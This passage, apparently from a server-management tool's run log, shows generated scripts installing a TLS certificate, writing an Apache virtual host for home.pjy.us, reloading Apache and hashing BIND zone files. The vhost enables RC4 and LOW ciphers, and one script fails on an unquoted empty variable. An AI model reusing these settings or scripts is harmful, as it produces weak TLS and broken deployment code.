G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-07-12 19:28:12: 

chmod 755 /tmp/pkp351499; /tmp/pkp351499; rm /tmp/pkp351499

2026-07-12 19:28:12: 


dir=/etc/ssl/certs


2026-07-12 19:28:12: 

PUT: /tmp/pkp796819

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_home_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_home_us.conf
DOCROOT=
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_home/public
    <Directory /var/www/pjy_home/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    
    CustomLog	/var/log/apache2/pjy/home_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb
    DocumentRoot	/var/www/pjy_home/public
    <Directory /var/www/pjy_home/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/home_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/pjy_home_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/pjy_home_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_home_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_home_us.conf= 1'
fi


2026-07-12 19:28:13: 

chmod 755 /tmp/pkp796819; /tmp/pkp796819; rm /tmp/pkp796819

2026-07-12 19:28:13: 


/tmp/pkp796819: line 60: [: !=: unary operator expected




STDERR:
/tmp/pkp796819: line 60: [: !=: unary operator expected


2026-07-12 19:28:13: 

PUT: /tmp/pkp356225

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-07-12 19:28:13: 

chmod 755 /tmp/pkp356225; /tmp/pkp356225; rm /tmp/pkp356225

2026-07-12 19:28:13: 


AH00112: Warning: DocumentRoot [/var/www/pjy_home/public] does not exist
AH00112: Warning: DocumentRoot [/var/www/pjy_home/public] does not exist
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00112: Warning: DocumentRoot [/var/www/pjy_home/public] does not exist
AH00112: Warning: DocumentRoot [/var/www/pjy_home/public] does not exist
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-07-12 19:28:14: Establishing a connection
2026-07-12 19:28:14: 

PUT: /tmp/pkp202538

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-07-12 19:28:14: 

runuser -l bind -s /bin/bash -c '/tmp/pkp202538; rm /tmp/pkp202538'

2026-07-12 19:28:14: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 58b6b8ae4641dbacd44268075f2a555a
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


